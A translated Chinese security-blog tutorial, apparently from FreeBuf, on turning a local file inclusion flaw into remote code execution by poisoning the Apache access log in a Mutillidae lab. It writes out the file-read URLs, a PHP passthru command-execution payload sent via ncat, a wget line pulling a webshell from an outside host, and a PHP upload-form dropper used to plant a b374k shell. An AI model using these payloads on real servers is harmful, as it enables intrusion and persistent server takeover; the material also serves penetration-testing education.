freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

通过APACHE ACCESS LOG来利用LFI漏洞
secist 2018-08-27 13:00:33 427676

本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!

设置

我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。

<Directory /path/to/document/root>
Options Indexes
</Directory>

show time

首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:

/index.php?page=

让我们尝试包含一个敏感文件路径/etc/passwd,看看会发生什么。如下:

/index.php?page=/etc/passwd

11selection_154.png

竟然成功读取到了文件内容!这也为我们验证了该应用确实存在本地文件包含漏洞。接下来我们来包含Apache access log,看看是否也能访问到其中的内容。

访问日志的位置和文件名在不同的系统上会有所差异,在我的系统上是/var/log/apache2/access.log。将url修改如下:

/index.php?page=/var/log/apache2/access.log

22selection_155.png

太棒了!访问日志的内容也成功被加载。

经过以上的初步验证,现在是时候进入到我们的第二阶段了。

Apache访问日志的利用

在此之前,你必须要对Apache日志有所了解。

服务器访问日志记录服务器处理的所有请求。

参考来源:http://httpd.apache.org/docs/1.3/logs.html#accesslog

这也意味着我们发送到服务器上的任何请求都将会被保存到这里。

首先我们打开一个终端,然后使用netcat向服务器发送一个GET请求。我们之所以没有使用浏览器发送此请求,是因为它会对我们的请求进行url编码,这将导致它无法正常工作。我们注入的代码如下:

<?php passthru($_GET['cmd']); ?>

关于passthru()函数:

passthru - 执行外部程序并显示原始输出

参考来源:http://php.net/passthru

要使用netcat发送请求,我们需要在终端中执行以下操作:

ncat 192.168.56.101 80

然后我们键入以下内容:

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close

注:这里你必须将192.168.56.101更改为你目标的IP地址。这是我虚拟机的IP地址。

最终看起来应该像下面这样:

$ ncat 192.168.56.101 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found</pre>
<h1>Not Found</h1>
<pre>
 
The requested URL /< was not found on this server.

现在让我们来验证下我们的注入是否有效,返回浏览器并向URL添加一个新参数:

cmd=

在我们的例子中,我将使用id命令:

/index.php?page=/var/log/apache2/access.log&cmd=id

现在,我们来看看我们得到的输出。 仔细看,你会看到类似于红框标注的内容:

33selection_156.png

我们的命令在服务器上成功被执行!

下面是我们的重头戏,即获取服务器的浏览器shell。这里有两种方法,第一种是使用wget,第二种是注入上传表单。我们先来介绍第一种。

使用wget

Wget是一个文件下载命令。虽然并非总是那么有效,但作为最简单的方法是我们首先需要去尝试的。将cmd参数更改如下:

&cmd=wget http://somedomain.com/shellfile.php

这将把shellfile.php下载到服务器,并将其保存在当前的工作目录中(如果可读的话)。如果你想要将它保存在其它位置,你可以参考wget手册。通过这种方法,可以为你省去上传表单的中间步骤。

上传表单

如果wget不起作用,我们可以使用上传表单这种方法。我们将在服务器上执行echo命令,该命令将会将我们的任意内容写入到文件。将cmd参数更改如下: 

<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>

这将在服务器上创建一个带有上传表单的文件。然后我们在浏览器中打开该上传页面,上传我们的浏览器shell。

如下所示,我们成功上传了b374k shell。

selection_157.png

过程回顾

1.通过获取passwd,hosts等文件来验证LFI漏洞;

2.通过LFI漏洞获取Apache日志访问;

3.使用netcat或类似工具发送恶意请求;

4.通过测试id,whoami等简单命令来验证代码执行;

5.使用wget或将上传表单写入服务器,将浏览器shell添加到服务器上;

6.访问浏览器shell验证是否成功。

总结

虽然这本身并不是一个超高风险的漏洞,但在被正确利用的情况下也可能会带来巨大的安全威胁。

 *参考来源:roguecod3r,FB小编 secist 编译,转载请注明来自FreeBuf.COM

# webshell # apache
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 secist 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
secist LV.9
每个人的心中都有一个梦。。
  • 369 文章数
  • 267 关注者
ATTCK-PenTester-Book:根据ATT&CK知识体系编制的长达400页的渗透手册
2020-02-10
Sniffle: 蓝牙5和4.x LE嗅探器
2019-11-23
Docem:向docx odt pptx等文件中嵌入XXE或XSS Payload
2019-11-11
文章目录